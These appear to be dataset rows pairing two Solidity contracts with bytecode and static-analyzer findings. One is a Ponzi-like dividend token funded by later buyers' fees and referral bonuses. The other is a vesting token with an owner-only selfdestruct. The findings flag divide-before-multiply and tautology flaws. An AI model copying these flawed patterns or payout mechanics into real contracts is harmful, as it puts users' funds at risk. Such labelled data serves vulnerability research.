* Crypto miner token PLATINUM concept
*
* [✓] 10% Withdraw fee
* [✓] 4% Deposit fee
* [✓] 1% Token transfer
* [✓] 33% Referal link
* [✓] only a 0.03 eth premine
*
*/
contract CryptoMinerTokenPlat{
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "CryptoMinerTokenPlat";
string public symbol = "CMTP";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 4;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 10;
uint8 constant internal refferalFee_ = 30;
uint256 constant internal tokenPriceInitial_ = 0.00000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.0000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
) / (tokenPriceIncremental_)
) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))
) - tokenPriceIncremental_
) * (tokens_ - 1e18)
), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2
)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x6080604052600436106101105763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166265318b811461011e57806306fdde031461015157806310d0ffdd146101db57806318160ddd146101f35780632260937314610208578063313ce567146102205780633ccfd60b1461024b5780634b7503341461026257806356d399e814610277578063688abbf71461028c5780636b2f4632146102a657806370a08231146102bb5780638620410b146102dc578063949e8acd146102f157806395d89b4114610306578063a9059cbb1461031b578063e4849b3214610353578063e9fad8ee1461036b578063f088d54714610380578063fdb5a03e14610394575b61011b3460006103a9565b50005b34801561012a57600080fd5b5061013f600160a060020a036004351661060c565b60408051918252519081900360200190f35b34801561015d57600080fd5b50610166610647565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101a0578181015183820152602001610188565b50505050905090810190601f1680156101cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e757600080fd5b5061013f6004356106d5565b3480156101ff57600080fd5b5061013f610708565b34801561021457600080fd5b5061013f60043561070e565b34801561022c57600080fd5b5061023561074a565b6040805160ff9092168252519081900360200190f35b34801561025757600080fd5b5061026061074f565b005b34801561026e57600080fd5b5061013f610822565b34801561028357600080fd5b5061013f61087a565b34801561029857600080fd5b5061013f6004351515610880565b3480156102b257600080fd5b5061013f6108c3565b3480156102c757600080fd5b5061013f600160a060020a03600435166108c8565b3480156102e857600080fd5b5061013f6108e3565b3480156102fd57600080fd5b5061013f61092e565b34801561031257600080fd5b50610166610940565b34801561032757600080fd5b5061033f600160a060020a036004351660243561099a565b604080519115158252519081900360200190f35b34801561035f57600080fd5b50610260600435610b3d565b34801561037757600080fd5b50610260610ca9565b61013f600160a060020a0360043516610cd6565b3480156103a057600080fd5b50610260610ce2565b600033818080808080806103c86103c18c6004610d98565b6064610dce565b96506103d86103c188601e610d98565b95506103e48787610de5565b94506103f08b88610de5565b93506103fb84610df7565b9250680100000000000000008502915060008311801561042557506006546104238482610e8e565b115b151561043057600080fd5b600160a060020a038a161580159061045a575087600160a060020a03168a600160a060020a031614155b80156104805750600254600160a060020a038b1660009081526003602052604090205410155b156104c657600160a060020a038a166000908152600460205260409020546104a89087610e8e565b600160a060020a038b166000908152600460205260409020556104e1565b6104d08587610e8e565b945068010000000000000000850291505b60006006541115610545576104f860065484610e8e565b600681905568010000000000000000860281151561051257fe5b6007805492909104909101905560065468010000000000000000860281151561053757fe5b04830282038203915061054b565b60068390555b600160a060020a03881660009081526003602052604090205461056e9084610e8e565b600160a060020a03808a166000818152600360209081526040808320959095556007546005909152939020805493870286900393840190559192508b16907f8032875b28d82ddbd303a9e4e5529d047a14ecb6290f80012a81b7e6227ff1ab8d86426105d86108e3565b604080519485526020850193909352838301919091526060830152519081900360800190a350909998505050505050505050565b600160a060020a0316600090815260056020908152604080832054600390925290912054600754680100000000000000009102919091030490565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106cd5780601f106106a2576101008083540402835291602001916106cd565b820191906000526020600020905b8154815290600101906020018083116106b057829003601f168201915b505050505081565b60008080806106e86103c1866004610d98565b92506106f48584610de5565b91506106ff82610df7565b95945050505050565b60065490565b600080600080600654851115151561072557600080fd5b61072e85610e9d565b925061073e6103c184600a610d98565b91506106ff8383610de5565b601281565b600080600061075e6001610880565b1161076857600080fd5b3391506107756000610880565b600160a060020a038316600081815260056020908152604080832080546801000000000000000087020190556004909152808220805490839055905193019350909183156108fc0291849190818181858888f193505050501580156107de573d6000803e3d6000fd5b50604080518281529051600160a060020a038416917fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc919081900360200190a25050565b60008060008060065460001415610841576414f46b03ff199350610874565b610852670de0b6b3a7640000610e9d565b92506108626103c184600a610d98565b915061086e8383610de5565b90508093505b50505090565b60025481565b60003382610896576108918161060c565b6108ba565b600160a060020a0381166000908152600460205260409020546108b88261060c565b015b91505b50919050565b303190565b600160a060020a031660009081526003602052604090205490565b600080600080600654600014156109015764199c82cc009350610874565b610912670de0b6b3a7640000610e9d565b92506109226103c1846004610d98565b915061086e8383610e8e565b60003361093a816108c8565b91505090565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106cd5780601f106106a2576101008083540402835291602001916106cd565b6000806000806000806109ab61092e565b116109b557600080fd5b336000818152600360205260409020549094508611156109d457600080fd5b60006109e06001610880565b11156109ee576109ee61074f565b6109fc6103c1876001610d98565b9250610a088684610de5565b9150610a1383610e9d565b9050610a2160065484610de5565b600655600160a060020a038416600090815260036020526040902054610a479087610de5565b600160a060020a038086166000908152600360205260408082209390935590891681522054610a769083610e8e565b600160a060020a0388811660008181526003602090815260408083209590955560078054948a16835260059091528482208054948c02909403909355825491815292909220805492850290920190915554600654610aea9190680100000000000000008402811515610ae457fe5b04610e8e565b600755604080518381529051600160a060020a03808a1692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35060019695505050505050565b6000806000806000806000610b5061092e565b11610b5a57600080fd5b33600081815260036020526040902054909650871115610b7957600080fd5b869450610b8585610e9d565b9350610b956103c185600a610d98565b9250610ba18484610de5565b9150610baf60065486610de5565b600655600160a060020a038616600090815260036020526040902054610bd59086610de5565b600160a060020a03871660009081526003602090815260408083209390935560075460059091529181208054928802680100000000000000008602019283900390556006549192501015610c4557610c41600754600654680100000000000000008602811515610ae457fe5b6007555b85600160a060020a03167f8d3a0130073dbd54ab6ac632c05946df540553d3b514c9f8165b4ab7f2b1805e868442610c7b6108e3565b604080519485526020850193909352838301919091526060830152519081900360800190a250505050505050565b3360008181526003602052604081205490811115610cca57610cca81610b3d565b610cd261074f565b5050565b60006108bd34836103a9565b600080600080610cf26001610880565b11610cfc57600080fd5b610d066000610880565b33600081815260056020908152604080832080546801000000000000000087020190556004909152812080549082905590920194509250610d489084906103a9565b905081600160a060020a03167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab36153264588483604051808381526020018281526020019250505060405180910390a2505050565b600080831515610dab5760009150610dc7565b50828202828482811515610dbb57fe5b0414610dc357fe5b8091505b5092915050565b6000808284811515610ddc57fe5b04949350505050565b600082821115610df157fe5b50900390565b6006546000906b204fce5e3e2502611000000090829064174876e800610e7b610e757323084f676940b7915149bd08b30d000000000000880269021e19e0c9bab24000006002860a02017005e0a1fd2712875988becaad00000000008502017704140c78940f6a24fdffc78873d4490d210000000000000001610f0a565b85610de5565b811515610e8457fe5b0403949350505050565b600082820183811015610dc357fe5b600654600090670de0b6b3a7640000838101918101908390610ef76414f46b03ff1982850464174876e80002018702600283670de0b6b3a763ffff1982890a8b9003010464174876e80002811515610ef157fe5b04610de5565b811515610f0057fe5b0495945050505050565b80600260018201045b818110156108bd578091506002818285811515610f2c57fe5b0401811515610f3757fe5b049050610f135600a165627a7a723058207a4d43d22be27f7d207e477ac24bc40ee4a40fdad63e92a5b59c831d4e5e6abb0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,798 |
0x1e5e75c5e30a40d28ddca7e4ee0ba6bb9b8405f5
|
pragma solidity ^0.4.23;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function minimum( uint a, uint b) internal returns ( uint result) {
if ( a <= b ) {
result = a;
}
else {
result = b;
}
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract OZTToken is StandardToken, Ownable {
/* Overriding some ERC20 variables */
string public constant name = "OZTToken";
string public constant symbol = "OZT";
uint256 public constant decimals = 18;
uint256 public constant MAX_NUM_OZT_TOKENS = 730000000 * 10 ** decimals;
// Freeze duration for Advisors accounts
uint256 public constant START_ICO_TIMESTAMP = 1526565600; // ICO starts at 17.05.2018 @ 2PM UTC
int public constant DEFROST_MONTH_IN_MINUTES = 43200; // month in minutes
int public constant DEFROST_MONTHS = 3;
/*
modalités de sorties des advisors investisseurs ou des earlybirds j’opte pour
- un Freeze à 6 mois puis au bout du 6ème mois
- possible de sortir du capital de 50% du montant investi
- puis par la suite 5% tous les mois ce qui nous donnera une sortie effective au bout de 10 mois et au total ça fera donc 16 mois
*/
uint public constant DEFROST_FACTOR = 20;
// Fields that can be changed by functions
address[] public vIcedBalances;
mapping (address => uint256) public icedBalances_frosted;
mapping (address => uint256) public icedBalances_defrosted;
// Variable usefull for verifying that the assignedSupply matches that totalSupply
uint256 public assignedSupply;
//Boolean to allow or not the initial assignement of token (batch)
bool public batchAssignStopped = false;
bool public stopDefrost = false;
uint oneTokenWeiPrice;
address defroster;
function OZTToken() {
owner = msg.sender;
assignedSupply = 0;
// mint all tokens
balances[msg.sender] = MAX_NUM_OZT_TOKENS;
Transfer(address(0x0), msg.sender, MAX_NUM_OZT_TOKENS);
}
function setDefroster(address addr) onlyOwner {
defroster = addr;
}
modifier onlyDefrosterOrOwner() {
require(msg.sender == defroster || msg.sender == owner);
_;
}
/**
* @dev Transfer tokens in batches (of adresses)
* @param _vaddr address The address which you want to send tokens from
* @param _vamounts address The address which you want to transfer to
*/
function batchAssignTokens(address[] _vaddr, uint[] _vamounts, uint[] _vDefrostClass ) onlyOwner {
require ( batchAssignStopped == false );
require ( _vaddr.length == _vamounts.length && _vaddr.length == _vDefrostClass.length);
//Looping into input arrays to assign target amount to each given address
for (uint index=0; index<_vaddr.length; index++) {
address toAddress = _vaddr[index];
uint amount = SafeMath.mul(_vamounts[index], 10 ** decimals);
uint defrostClass = _vDefrostClass[index]; // 0=ico investor, 1=reserveandteam/advisors
if ( defrostClass == 0 ) {
// investor account
transfer(toAddress, amount);
assignedSupply = SafeMath.add(assignedSupply, amount);
}
else if(defrostClass == 1){
// Iced account. The balance is not affected here
vIcedBalances.push(toAddress);
icedBalances_frosted[toAddress] = amount;
icedBalances_defrosted[toAddress] = 0;
assignedSupply = SafeMath.add(assignedSupply, amount);
}
}
}
function getBlockTimestamp() constant returns (uint256){
return now;
}
function getAssignedSupply() constant returns (uint256){
return assignedSupply;
}
function elapsedMonthsFromICOStart() constant returns (int elapsed) {
elapsed = (int(now-START_ICO_TIMESTAMP)/60)/DEFROST_MONTH_IN_MINUTES;
}
function getDefrostFactor()constant returns (uint){
return DEFROST_FACTOR;
}
function lagDefrost()constant returns (int){
return DEFROST_MONTHS;
}
function canDefrost() constant returns (bool){
int numMonths = elapsedMonthsFromICOStart();
return numMonths > DEFROST_MONTHS &&
uint(numMonths) <= SafeMath.add(uint(DEFROST_MONTHS), DEFROST_FACTOR/2+1);
}
function defrostTokens(uint fromIdx, uint toIdx) onlyDefrosterOrOwner {
require(now>START_ICO_TIMESTAMP);
require(stopDefrost == false);
require(fromIdx>=0 && toIdx<=vIcedBalances.length);
if(fromIdx==0 && toIdx==0){
fromIdx = 0;
toIdx = vIcedBalances.length;
}
int monthsElapsedFromFirstDefrost = elapsedMonthsFromICOStart() - DEFROST_MONTHS;
require(monthsElapsedFromFirstDefrost>0);
uint monthsIndex = uint(monthsElapsedFromFirstDefrost);
//require(monthsIndex<=DEFROST_FACTOR);
require(canDefrost() == true);
/*
if monthsIndex == 1 => defrost 50%
else if monthsIndex <= 10 defrost 5%
*/
// Looping into the iced accounts
for (uint index = fromIdx; index < toIdx; index++) {
address currentAddress = vIcedBalances[index];
uint256 amountTotal = SafeMath.add(icedBalances_frosted[currentAddress], icedBalances_defrosted[currentAddress]);
uint256 targetDeFrosted = 0;
uint256 fivePercAmount = SafeMath.div(amountTotal, DEFROST_FACTOR);
if(monthsIndex==1){
targetDeFrosted = SafeMath.mul(fivePercAmount, 10); // 10 times 5% = 50%
}else{
targetDeFrosted = SafeMath.mul(fivePercAmount, 10) + SafeMath.div(SafeMath.mul(monthsIndex-1, amountTotal), DEFROST_FACTOR);
}
uint256 amountToRelease = SafeMath.sub(targetDeFrosted, icedBalances_defrosted[currentAddress]);
if (amountToRelease > 0 && targetDeFrosted > 0) {
icedBalances_frosted[currentAddress] = SafeMath.sub(icedBalances_frosted[currentAddress], amountToRelease);
icedBalances_defrosted[currentAddress] = SafeMath.add(icedBalances_defrosted[currentAddress], amountToRelease);
transfer(currentAddress, amountToRelease);
}
}
}
function getStartIcoTimestamp() constant returns (uint) {
return START_ICO_TIMESTAMP;
}
function stopBatchAssign() onlyOwner {
require ( batchAssignStopped == false);
batchAssignStopped = true;
}
function getAddressBalance(address addr) constant returns (uint256 balance) {
balance = balances[addr];
}
function getAddressAndBalance(address addr) constant returns (address _address, uint256 _amount) {
_address = addr;
_amount = balances[addr];
}
function setStopDefrost() onlyOwner {
stopDefrost = true;
}
function killContract() onlyOwner {
selfdestruct(owner);
}
}
|
0x
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 8,799 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.